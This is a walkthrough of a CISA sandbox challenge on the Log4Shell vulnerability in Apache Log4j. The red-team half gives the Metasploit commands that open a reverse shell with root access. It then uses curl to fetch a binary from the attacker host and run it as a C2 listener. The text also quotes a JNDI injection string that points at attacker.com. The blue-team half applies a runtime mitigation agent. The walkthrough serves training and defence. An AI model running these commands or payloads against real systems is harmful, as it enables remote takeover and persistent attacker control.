Step-by-step walkthrough of the CISA Log4Shell sandbox challenge, covering offensive exploitation via Metasploit and defensive mitigation using a JNDI-be-gone Java agent.
This walkthrough documents the steps taken to complete the CISA Threat Sandbox Challenge for CVE-2021-44228, commonly known as Log4Shell. The challenge involved completing two objectives — one red team (offensive) and one blue team (defensive) — against a fictional IT managed service provider (MSP) called DasMSP within an isolated sandbox environment.
Note: Commands and file paths in this walkthrough reflect the specific steps taken in this environment. Your environment may differ, including IP addresses, file locations, and tool availability. Adapt commands as needed for your configuration.
CVE-2021-44228 is a critical remote code execution (RCE) vulnerability (CVSS 10.0) affecting specific versions of the Apache Log4j Java logging framework. The vulnerability arises from Log4j's JNDI lookup feature, which can be triggered by injecting a specially crafted string such as ${jndi:ldap://attacker.com/exploit} into any data that Log4j logs. If an attacker can get a vulnerable application to log a malicious string — commonly via HTTP headers — Log4j will reach out to the attacker-controlled server and execute arbitrary code.
Log4Shell was added to CISA's Known Exploited Vulnerabilities (KEV) Catalog on December 10, 2021, and appeared on the Top Routinely Exploited Vulnerabilities joint advisories for both 2021 and 2022.
| Machine | IP |
|---|---|
| Security-Desk | <Security-Desk-IP> |
| Red Target | <Red-Target-IP> |
| Blue Target | <Blue-Target-IP> |
Both target systems are Linux and run a vulnerable Java web application (dasmsp.jar) using an affected version of Log4j.
exploit/multi/http/log4shell_header_injection)Opened a terminal on the Security-Desk and launched Metasploit:
msfconsole
The module path provided in the briefing did not match the installed version. Searched for the correct module:
search log4shell
Identified the correct module: exploit/multi/http/log4shell_header_injection.
use exploit/multi/http/log4shell_header_injection
set RHOSTS <Red-Target-IP>
set RPORT 80
set SRVHOST <Security-Desk-IP>
set PAYLOAD java/shell_reverse_tcp
set LHOST <Security-Desk-IP>
run
Metasploit automatically tested multiple HTTP headers for the Log4Shell vulnerability. The Red Target was confirmed vulnerable across multiple headers (Authorization, Cache-Control, User-Agent, X-Forwarded-For, and others). A command shell session was opened to the Red Target.
Confirmed root-level access on the Red Target:
id
Output: uid=0(root) gid=0(root) groups=0(root)
The deploy_c2 binary was located on the Security-Desk, not on the Red Target. Neither wget nor a direct path reference was available on the target. Opened a second terminal on the Security-Desk and served the file via Python:
cd ~/Desktop/Resources
python3 -m http.server 8080
Back in the Metasploit shell session on the Red Target, downloaded and executed the binary:
curl http://<Security-Desk-IP>:8080/deploy_c2 -o /tmp/deploy_c2
chmod +x /tmp/deploy_c2
/tmp/deploy_c2
Output: Done!
✅ C2 Listener Deployed on Red Target check confirmed.
The mitigation method used is the log4j-jndi-be-gone-standalone.jar Java agent developed by NCC Group, which patches the JNDI lookup behavior at runtime without requiring a patch to the underlying application. Details about this agent can be found at the NCC Group research blog.
From the Security-Desk terminal, used SCP to transfer the Java agent JAR file:
scp ~/Desktop/Resources/log4j-jndi-be-gone-standalone.jar playerone@<Blue-Target-IP>:/tmp/
ssh playerone@<Blue-Target-IP>
sudo nano /etc/systemd/system/dasmsp.service
Located the ExecStart line and added the -javaagent flag:
Before:
ExecStart=/usr/lib/jvm/nvidia-java-8-openjdk-amd64/bin/java -jar /opt/dasmsp.jar
After:
ExecStart=/usr/lib/jvm/nvidia-java-8-openjdk-amd64/bin/java -javaagent:/tmp/log4j-jndi-be-gone-standalone.jar -jar /opt/dasmsp.jar
Saved with Ctrl+O → Enter → Ctrl+X.
sudo systemctl daemon-reload
sudo systemctl restart dasmsp
✅ CVE-2021-44228 Mitigated on Blue Target check confirmed.